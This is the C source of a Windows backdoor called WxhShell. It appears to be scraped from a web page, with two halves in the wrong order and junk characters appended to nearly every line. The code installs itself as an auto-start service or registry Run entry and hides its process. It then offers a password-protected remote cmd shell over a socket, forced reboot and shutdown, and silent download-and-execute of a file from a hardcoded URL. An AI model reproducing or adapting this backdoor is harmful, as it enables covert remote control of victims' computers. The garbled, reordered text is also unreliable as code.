    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Id&e'  
    else { ex6R=97uA  
    closesocket(wsh); hzRKv6  
    ExitThread(0); g5lb3`a3  
    } tRZ4\Bu  
    break; K/K-u  
    } <fM}Kk  
  // 获取shell P%gA` j  
  case 's': { .ESvMK~x  
    CmdShell(wsh); |`t 6lVO,Z  
    closesocket(wsh); a[ayr$Hk?  
    ExitThread(0); Jv+w{"&  
    break; F"UI=7:o  
  } &K{8- t  
  // 退出 sRA2O/yKCE  
  case 'x': { U3Z=X TB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t ^[fu,  
    CloseIt(wsh); DA.k8M  
    break; W\NC3]  
    } Kk6=61}A  
  // 离开 1^^8,.'  
  case 'q': { v"W*@7<`S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "~^0  
    closesocket(wsh); ?_i >Kx  
    WSACleanup(); V~ORb1  
    exit(1); mfN'+`r  
    break; 5af0- hj  
        } brs`R#e \  
  } ninWnQq  
  } 7HBf^N.  
r9OgezER  
  // 提示信息 JE7m5k Ta  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f?51sr  
} dGn 0-l'q  
  } eqsmv [  
j~G(7t  
  return; rpK&OR/  
} e-`.Ht  
uVCH<6Cp  
// shell模块句柄 o3/o2[s  
int CmdShell(SOCKET sock) #-<Go'yF  
{ 4&sf{tI  
STARTUPINFO si; ?'z/S5&j  
ZeroMemory(&si,sizeof(si)); CV.|~K0O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &h5Y_no GX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fy4zBI@  
PROCESS_INFORMATION ProcessInfo; Q_|}~4_+  
char cmdline[]="cmd"; 8c+V$rH_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C| ~ A]wc=  
  return 0; 2cH RiRT  
} gTXpaB<  
A5TSbW']+5  
// 自身启动模式 ,MNv}w@  
int StartFromService(void) '<BLkr# @  
{ t]@>kAA>2L  
typedef struct j<*7p:L7_>  
{ }7[]d7  
  DWORD ExitStatus; $Dj8 a\L  
  DWORD PebBaseAddress; YM:sLeQ~c  
  DWORD AffinityMask; ]s AuL!  
  DWORD BasePriority; c 'wRGMP  
  ULONG UniqueProcessId; jez0 A  
  ULONG InheritedFromUniqueProcessId; H.ksI;,  
}   PROCESS_BASIC_INFORMATION; uBx\xeI  
$jg[6`L$  
PROCNTQSIP NtQueryInformationProcess; #Az#_0=  
L)J1yw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f7~dn#<@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'E3T fM  
Y b3ckktY  
  HANDLE             hProcess; rs{)4.I  
  PROCESS_BASIC_INFORMATION pbi; Sk cK>i.[  
;v@G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6r<a  
  if(NULL == hInst ) return 0; Lz.khE<  
t.28IHJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U 5J _Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LJ/He[r|[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S3ooG14Ls  
eV|N@  
  if (!NtQueryInformationProcess) return 0; "dX~J3$  
4@@Sh`E:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vb`Vp(>AU  
  if(!hProcess) return 0; E=ijt3  
| 6JKB'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p|t" 4HQ  
`xLsD}32  
  CloseHandle(hProcess); GHcx@||C?  
5lG\ Z?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); at_*Zh(  
if(hProcess==NULL) return 0; $:F+Nf 8  
i"0Bc{cQ  
HMODULE hMod; 5p[}<I{  
char procName[255]; QPDh!A3T  
unsigned long cbNeeded; FpRYffT 9u  
 n?EgC8b9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KUUA>'=  
K>$f#^  
  CloseHandle(hProcess); !Zj ]0,^  
pY"WW0p"C  
if(strstr(procName,"services")) return 1; // 以服务启动 ls^Z"9P  
= UH3.  
  return 0; // 注册表启动 [ ulub|  
} <bzzbR[F  
lLTqk\8g  
// 主模块 z!"vez  
int StartWxhshell(LPSTR lpCmdLine) 4|`>}Nu  
{ +twoUn{#  
  SOCKET wsl; ?7aZU  
BOOL val=TRUE; DO*U7V02  
  int port=0; @=Q!a (g  
  struct sockaddr_in door; XGx[Ny_A2  
*vD.\e~  
  if(wscfg.ws_autoins) Install(); \FVfV`x  
\"a{\E,{;  
port=atoi(lpCmdLine); aV'bI  
q*3OWr  
if(port<=0) port=wscfg.ws_port; o6[.$C  
t>\sP   
  WSADATA data; UucI>E3?P{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^<CVQ8R7  
<=*f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }mj9$=B4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '>"{yi-  
  door.sin_family = AF_INET; B}iEhWO6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8z#Qp(he  
  door.sin_port = htons(port); F^u12R)  
>NKJ@4Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x s{pGQ6Q  
closesocket(wsl); f jx`|MJ  
return 1; nqyD>>  
} ,dIev<  
xqG<R5k>>  
  if(listen(wsl,2) == INVALID_SOCKET) { bE_8NA"2  
closesocket(wsl); qiNVaV\wr|  
return 1; g_Z tDxz  
} L.HeBeO  
  Wxhshell(wsl); Al-`}g+^  
  WSACleanup(); :>1nkm&Eg  
==dKC;  
return 0; MET9rT  
FH~:&;  
} !T`oHs  
dJ"M#X!Zu  
// 以NT服务方式启动 '#'noB;,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :o'x?]  
{ o!M8V ^vW  
DWORD   status = 0; 4Z)s8sDKW  
  DWORD   specificError = 0xfffffff; ~ bLx2=-"  
p%Z:SZZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +=3=%%?C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6X \g7bg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W;vNmg}mn  
  serviceStatus.dwWin32ExitCode     = 0; = s&Rk~2b/  
  serviceStatus.dwServiceSpecificExitCode = 0; xa~]t<2  
  serviceStatus.dwCheckPoint       = 0; +hyOc|5  
  serviceStatus.dwWaitHint       = 0; ^m qEKy<  
'FErk~}/4s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y sM*d  
  if (hServiceStatusHandle==0) return; |b   
SI}s  
status = GetLastError(); E/zf9\  
  if (status!=NO_ERROR) ']M/'CcM  
{ cM#rus?)+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2e`}O  
    serviceStatus.dwCheckPoint       = 0; WMB%?30  
    serviceStatus.dwWaitHint       = 0; 2*: q$c  
    serviceStatus.dwWin32ExitCode     = status; aGD< #]  
    serviceStatus.dwServiceSpecificExitCode = specificError; C96/   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R_!.vGhkN  
    return; 8SGaS&  
  } 9wvlR6z;u  
QQ(}71U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L+am-k:T~  
  serviceStatus.dwCheckPoint       = 0; 3Ua?^2l  
  serviceStatus.dwWaitHint       = 0; /LD3Bb)O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t3;Zx+Br  
} }%|ewy9|CW  
2Rk}ovtD[  
// 处理NT服务事件,比如:启动、停止 s2<!Zb4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zy}tZRG  
{ l=~!'1@L}  
switch(fdwControl) YF5}~M ymF  
{ M>AxVL  
case SERVICE_CONTROL_STOP: 7L!JP:v   
  serviceStatus.dwWin32ExitCode = 0; 9d5$cV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I|@+O#  
  serviceStatus.dwCheckPoint   = 0; /DQYlNa  
  serviceStatus.dwWaitHint     = 0; gEh/m.L7  
  { da$FY7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zxyl+tU &  
  } #D`@G8~(  
  return; XM$ ~HG  
case SERVICE_CONTROL_PAUSE: gmGK3am  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $Z]&3VxxY  
  break; "=h1gql'  
case SERVICE_CONTROL_CONTINUE: Xg)8}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KkJqqO"EL  
  break; P?0X az  
case SERVICE_CONTROL_INTERROGATE: t<H"J__&  
  break; At Wv9  
}; @*6fEG{,q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \x<8   
} *6Wiq5M>.  
(V{/8%mWc  
// 标准应用程序主函数 8Y($ F2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eADCT  
{ Ca2r<|uA  
LP vp (1  
// 获取操作系统版本 EZUaYp ~M  
OsIsNt=GetOsVer(); fQ<sq0' e\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]M?i:A$B  
QYH-"-)  
  // 从命令行安装 (5yM%H8:  
  if(strpbrk(lpCmdLine,"iI")) Install(); }`tSRB7  
z0 "DbZ;d  
  // 下载执行文件 5zl+M`  
if(wscfg.ws_downexe) { c./\sN@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zoq;3a5cqB  
  WinExec(wscfg.ws_filenam,SW_HIDE); T ,lM(2S[  
} \""^'pP@  
]Ry9{:  
if(!OsIsNt) { 59E9K)c3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^z?b6kTC  
HideProc(); x YS81  
StartWxhshell(lpCmdLine); Hm-#Mpw  
} G%W9?4_K  
else mF7 Ak&So^  
  if(StartFromService()) |XyX%5p*  
  // 以服务方式启动 oi #B7  
  StartServiceCtrlDispatcher(DispatchTable); \:vF FK4a  
else w\buQ6pR)  
  // 普通方式启动 V DFgu  
  StartWxhshell(lpCmdLine); O NabL.CV  
QoD_`d  
return 0; -^p{J TB+  
} i<uU_g'M  
)_#V>cvNG  
is.t,&H4P]  
=EJ&=t  
=========================================== ]7HR U6$  
s:T%, xS  
(,Y[2_Zv  
-&/?&{Q0  
85<k'>~L  
ZrN(M p  
" 8ro`lX*F@2  
JE.$]){  
#include <stdio.h> $AK ^E6  
#include <string.h> PGTEIptX7  
#include <windows.h> 7oZ :/6_>  
#include <winsock2.h> 8hGyh#  
#include <winsvc.h> y_X6{}Ke  
#include <urlmon.h> oz!)x\m*H  
0=ws)@[I  
#pragma comment (lib, "Ws2_32.lib") o;8$#gyNY  
#pragma comment (lib, "urlmon.lib") =s\$i0A2  
x ;DoQx  
#define MAX_USER   100 // 最大客户端连接数 *>m[ZJd%=  
#define BUF_SOCK   200 // sock buffer ~Ztn(1N  
#define KEY_BUFF   255 // 输入 buffer +k`L8@a3&  
[ &TF]az  
#define REBOOT     0   // 重启 @Q1!xA^S  
#define SHUTDOWN   1   // 关机 8JLf @C:  
J0sD?V|{1~  
#define DEF_PORT   5000 // 监听端口 -P]O t>%S  
i/>k_mG$d  
#define REG_LEN     16   // 注册表键长度 :6Ri% Nb  
#define SVC_LEN     80   // NT服务名长度 u>>|ZPe  
4D65VgVDM  
// 从dll定义API 1*O|[W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0]d;)_`@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -`]9o3E7H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kowS| c#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a;o0#I#Si  
E,i^rAm  
// wxhshell配置信息 . ,|C>^  
struct WSCFG { ?P9aXwc  
  int ws_port;         // 监听端口 d9{lj(2P  
  char ws_passstr[REG_LEN]; // 口令 6[m~xegG  
  int ws_autoins;       // 安装标记, 1=yes 0=no b(K"CL\p  
  char ws_regname[REG_LEN]; // 注册表键名 >}SEU-7&\  
  char ws_svcname[REG_LEN]; // 服务名 "L>'X22ed  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {B$CqsvJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -%fQr5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [6VB&   
int ws_downexe;       // 下载执行标记, 1=yes 0=no c=sV"r?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *Y>w0k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QK_5gD`$a,  
VEps|d3,,  
}; |\(uO|)ju  
a`wjZ"}'[  
// default Wxhshell configuration [ycX)iM  
struct WSCFG wscfg={DEF_PORT, |/,S NE  
    "xuhuanlingzhe", "uH>S+%|b  
    1, (cj9xROx  
    "Wxhshell", 6Zi{gx  
    "Wxhshell", juEPUsE  
            "WxhShell Service", Q<sqlh!h  
    "Wrsky Windows CmdShell Service", J 2O,wb)U  
    "Please Input Your Password: ", S,5ok0R  
  1, t$BjJ -G  
  "http://www.wrsky.com/wxhshell.exe", # ~<]z  
  "Wxhshell.exe" 1I%u)[;>  
    }; \[9VeqMU  
)^:H{1'  
// 消息定义模块 m]qw8BoU`F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A-Ba%Fv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :jTSO d[r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O84]J:b  
char *msg_ws_ext="\n\rExit."; ^Iw$ (  
char *msg_ws_end="\n\rQuit."; j\C6k  
char *msg_ws_boot="\n\rReboot..."; $>)0t@[f  
char *msg_ws_poff="\n\rShutdown..."; 7. F'1oEf  
char *msg_ws_down="\n\rSave to "; [CQR  
SaPE 1^}  
char *msg_ws_err="\n\rErr!"; TgkVd]4%  
char *msg_ws_ok="\n\rOK!"; 6]7csOE  
.SC *!,  
char ExeFile[MAX_PATH]; 12 p`ZD=  
int nUser = 0; 9E7G%-  
HANDLE handles[MAX_USER]; t}+/GSwT  
int OsIsNt; TpU\IQ  
:^7w  
SERVICE_STATUS       serviceStatus; ZvRa"j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JxIJxhA>  
Nbl&al@"  
// 函数声明  O3sV)  
int Install(void); (?e%w}  
int Uninstall(void); Ph3;;,v '  
int DownloadFile(char *sURL, SOCKET wsh); 53t_#Yte  
int Boot(int flag); ,`t+X=#  
void HideProc(void); [c{\el9H  
int GetOsVer(void); FL{Uz+Q  
int Wxhshell(SOCKET wsl); /A{ Zf'DI  
void TalkWithClient(void *cs); ]N'3jf`W  
int CmdShell(SOCKET sock); UhH#> 2r_  
int StartFromService(void); HA'~1$#z  
int StartWxhshell(LPSTR lpCmdLine); &y!?R$?b  
FGDVBUY@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aAjl 58  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .`Rt   
z+MH co"  
// 数据结构和表定义 lu.]R>w  
SERVICE_TABLE_ENTRY DispatchTable[] = +a5F:3$  
{ O`Tz^Q /D  
{wscfg.ws_svcname, NTServiceMain}, a=2.Y?  
{NULL, NULL} V k{;g  
}; zYzV!s2^  
6n]+(=  
// 自我安装 3U<m\A1  
int Install(void) ceUe*}\cr  
{ B=0^Rysg  
  char svExeFile[MAX_PATH]; Ge?Wm q>  
  HKEY key; I=dG(?#7%  
  strcpy(svExeFile,ExeFile); [=K lDfU=  
^ oi']O  
// 如果是win9x系统,修改注册表设为自启动 "\wMs  
if(!OsIsNt) { kY)Vr3uGA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k8D _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K1@ Pt}  
  RegCloseKey(key); </[.1&S+\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S=4o@3%$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9xR5Jm>k  
  RegCloseKey(key); 9nR\7!_  
  return 0; .!3e$mhV  
    } zsp%Cz7T  
  } %7ngAIg  
} hTDK[4e  
else { Qu|CXUk  
=F+v+zP7P  
// 如果是NT以上系统,安装为系统服务 v~mVf.j1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?+]=|hN  
if (schSCManager!=0) ZDW9H6ux  
{ i<Z%  
  SC_HANDLE schService = CreateService ?Bf>G]zx  
  ( Yc[umn^K  
  schSCManager, 3RaduN]  
  wscfg.ws_svcname, AR [m+E  
  wscfg.ws_svcdisp, u`'" =Y_E  
  SERVICE_ALL_ACCESS, E0ED[d,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^8 VW$}  
  SERVICE_AUTO_START, KW:N 6w  
  SERVICE_ERROR_NORMAL, B%tF|KKj  
  svExeFile, $7q3[skH  
  NULL, gH//@`6  
  NULL, T]tP!a;K  
  NULL, +p%3pnj:K  
  NULL, syw1Z*WK  
  NULL b6-N2F1Fs  
  ); L;3%8F\-.  
  if (schService!=0) AYn65Ly  
  { Fx^wV^q3  
  CloseServiceHandle(schService); YPGM||  
  CloseServiceHandle(schSCManager); ji?Hw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %n|  
  strcat(svExeFile,wscfg.ws_svcname); _wKwiJs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jxvh;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h ;*x1BVE  
  RegCloseKey(key); <{#_;7h"  
  return 0; QP\9#D~  
    } gWr7^u&q@|  
  } 'WW:'[Syn'  
  CloseServiceHandle(schSCManager); @} Ig*@  
} cQEUHhRg!  
} AX`T ku  
#QwkRzVoy  
return 1; %5e|  
} c!\Gj|  
*^-AOSVt,  
// 自我卸载 a&'9[9E1  
int Uninstall(void) |.)LZP,  
{ :qE.(k1@5  
  HKEY key; z|>TkCW6  
9'*7 ( j;  
if(!OsIsNt) { >M#@vIo?<6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iM!2m$'s  
  RegDeleteValue(key,wscfg.ws_regname); &qbEF3p^@  
  RegCloseKey(key); |S!R Q-CF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f\2IKpF2  
  RegDeleteValue(key,wscfg.ws_regname); 4kL6aSqT  
  RegCloseKey(key); 'ma X  
  return 0; s,Gl{  
  } ek&~A0k_o  
} |.@!CqJ  
} ZXx1S?u  
else { uZl d9u  
%6[,a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "}71z  
if (schSCManager!=0) =f~<*wQ  
{ "WKOlfPa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QATRrIj{e  
  if (schService!=0) Bc8&-eZ ,  
  { J.UNw8z  
  if(DeleteService(schService)!=0) { {]\7 M|9\  
  CloseServiceHandle(schService); wa@Rlzij>  
  CloseServiceHandle(schSCManager); !Q>xVlPVu  
  return 0; `W x| 4  
  } <N)!s&D  
  CloseServiceHandle(schService);  vm! y2  
  } JRB6T_U  
  CloseServiceHandle(schSCManager); ]$g07 7o  
} @ZISv'F  
} dqB,i9--  
"w?0f["  
return 1; Z'i@;^=A  
} ]fajj\  
Ts.2\-+3  
// 从指定url下载文件 eay|>xa2  
int DownloadFile(char *sURL, SOCKET wsh) Un]wP`  
{ ! t!4CY  
  HRESULT hr; 2/ +~h(Cc  
char seps[]= "/"; @@H/q  
char *token; x+Yo#u22  
char *file; y hKH} kR  
char myURL[MAX_PATH]; uUjjAGZ  
char myFILE[MAX_PATH]; J'2 Yrn  
|Y Lja87  
strcpy(myURL,sURL); E7O3$B8  
  token=strtok(myURL,seps); 9JdJn>  
  while(token!=NULL) J!om"h  
  { L"jA#ULg  
    file=token; qIJc\,'  
  token=strtok(NULL,seps); G y[5'J`  
  } _|\X8o_  
0f5 ag&  
GetCurrentDirectory(MAX_PATH,myFILE); W/UA%We3+L  
strcat(myFILE, "\\"); V< F &\  
strcat(myFILE, file); I3>8B  
  send(wsh,myFILE,strlen(myFILE),0); N'y<<tTA  
send(wsh,"...",3,0); +2{ f>KZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rfonM~3?'  
  if(hr==S_OK) f:M^q ;  
return 0; , >WH)+a  
else LZ)g&A(j?  
return 1; d*tWFr|J-  
u43Mo\"<&%  
} Ct'tUF<K5  
n>)aw4  
// 系统电源模块 &vmk!wAs  
int Boot(int flag) :? )!yI  
{ Un8' P8C  
  HANDLE hToken; (EcP'F*;;y  
  TOKEN_PRIVILEGES tkp; pT=^o  
[.>=> KJ_  
  if(OsIsNt) { 79 4UY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K1X-<5]{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y-})/zFc  
    tkp.PrivilegeCount = 1; X QLP|v;"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U LS>v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %1TKgNf  
if(flag==REBOOT) { 3m& r?xZs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ar\fA)UQ`  
  return 0; !y$##PZ  
} oU )(/  
else { !%$[p'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bYLYJ`hH<R  
  return 0; x"Ll/E)\v]  
} Pt85q?->  
  } _xAru9=n^  
  else { vk|f"I  
if(flag==REBOOT) { B{\Y~>]Pj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l1]N&jN{  
  return 0; O`CZwXD  
} S$SCW<LuN  
else { n=j) M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K^o$uUBe  
  return 0; IwYfs]-  
} 2@bOy~$A  
} J t.<Z&  
8{0XqE~ix=  
return 1; SOG(&)b  
} GI{EP&C  
%!iqJ)*~  
// win9x进程隐藏模块 NUM!'+H_h  
void HideProc(void) 5$+7Q$Gw  
{ 7Wef[N\x  
=ttD5 p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Re~6 '  
  if ( hKernel != NULL ) dlvU=^G#G  
  { r3x;lICx-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]+`K\G ^X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TNh&g.  
    FreeLibrary(hKernel); W'9{2h6u(  
  } TAh'u|{u2  
H,c1&hb/w  
return; *-*V>ntvT$  
} nZ=[6?  
>3g`6d  
// 获取操作系统版本 hAUP#y@:H:  
int GetOsVer(void) W\j'8^kI9  
{  I wj[ ^  
  OSVERSIONINFO winfo; L[44D6Vg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o,j_eheAM  
  GetVersionEx(&winfo); Ag T)J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mh3.GpS  
  return 1; ?IeBo8  
  else t$qIJt$  
  return 0; PJ:!O?KVq  
} j+'ua=T3  
O: I]v@  
// 客户端句柄模块 *# <%04f  
int Wxhshell(SOCKET wsl) \ P6 !  
{ 7>im2"zm  
  SOCKET wsh; %_n%-Qn  
  struct sockaddr_in client; ?`OF n F,K  
  DWORD myID; (ID%U  
-`ljKp  
  while(nUser<MAX_USER) EyR/   
{ vg?(0Gasm*  
  int nSize=sizeof(client); 6{d?3Jk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >4bw4 Z1  
  if(wsh==INVALID_SOCKET) return 1; X`<z5W] !  
[pms>TQ2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s8A"x`5(  
if(handles[nUser]==0) O6e$vI@  
  closesocket(wsh); J|jvqt9C  
else % dFz[b  
  nUser++; a(IE8:yU`  
  } uUS~"\`fk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;R&W#Q7>3  
|63uoRr  
  return 0; ~9rNP{+  
} D4"<suU|.  
Otr=+i ZI  
// 关闭 socket :?EZ\WM7  
void CloseIt(SOCKET wsh) Lm!]m\LRZD  
{ ox<6qW  
closesocket(wsh); p".wqg*W  
nUser--; q%k&O9C2]  
ExitThread(0); <x$nw'H9  
} kqZRg>1A  
f3,LX]zKA  
// 客户端请求句柄 D;2V|CkU  
void TalkWithClient(void *cs) 3qGz(6w6E  
{ ~ecN4Oo4q;  
?.ObHV*k  
  SOCKET wsh=(SOCKET)cs; x_8sV?F  
  char pwd[SVC_LEN];  \aof  
  char cmd[KEY_BUFF]; 6qQ_I 0f  
char chr[1]; \+Qd=,!i(  
int i,j; V!*1F1  
[< 9%IGH  
  while (nUser < MAX_USER) { fb0)("_V  
%qJgtu"8  
if(wscfg.ws_passstr) { Qu/f>tJN;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _&G_SNa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +5-|6  
  //ZeroMemory(pwd,KEY_BUFF); 6f0o'  
      i=0; >8{{H"$;(  
  while(i<SVC_LEN) { bCTN^  
3 P75:v  
  // 设置超时 O|Vc  
  fd_set FdRead; D\ZH1C!d  
  struct timeval TimeOut; Tw%1m  
  FD_ZERO(&FdRead); Z;u3G4XlF  
  FD_SET(wsh,&FdRead); w?3ww7yf`  
  TimeOut.tv_sec=8; _"H\,7E  
  TimeOut.tv_usec=0; &RuTq6)r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $uwz` N:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b'FTy i  
m0 W3pf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lZkJ<*z#  
  pwd=chr[0]; ?t}s3P!Q3w  
  if(chr[0]==0xd || chr[0]==0xa) { ]) v61B  
  pwd=0; IrRe6nf@K  
  break; /J"fbBXwY  
  } !:xE X~  
  i++; 7uUq+dp  
    } AW_YlS  
z<P?p  
  // 如果是非法用户,关闭 socket OP=oSfa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T6?03cSE  
} #CJ ET  
w|I5x}ZFG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >sAaLR4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YVHf-uP  
qfAnMBM1@  
while(1) { (,mV6U%  
n<)A5UB5-  
  ZeroMemory(cmd,KEY_BUFF); s9Tn|Pm+!\  
r.u\qPT&  
      // 自动支持客户端 telnet标准   K5<2jl3S  
  j=0; 2!9W:I7  
  while(j<KEY_BUFF) { s LDEa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u46Z}~xfb  
  cmd[j]=chr[0]; -d2)  
  if(chr[0]==0xa || chr[0]==0xd) { 7Kj7or|  
  cmd[j]=0; 4!3<[J;N;  
  break; ~kpa J'm  
  } :|&6x!  
  j++; 7c%dSs6  
    } SMd[*9l [  
b{<$OVc  
  // 下载文件  MkdC*|  
  if(strstr(cmd,"http://")) { UH7?JF-D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %y_pF?2@q  
  if(DownloadFile(cmd,wsh)) W7.RA>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @qWClr{`  
  else p.MLKp-'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _BgWy#  
  } W?N+7_%'  
  else { _TJk Yz$  
Z,-TMtM7  
    switch(cmd[0]) { :vS/Lzk  
  SN7_^F  
  // 帮助 /r&4< @  
  case '?': { -J'ked  
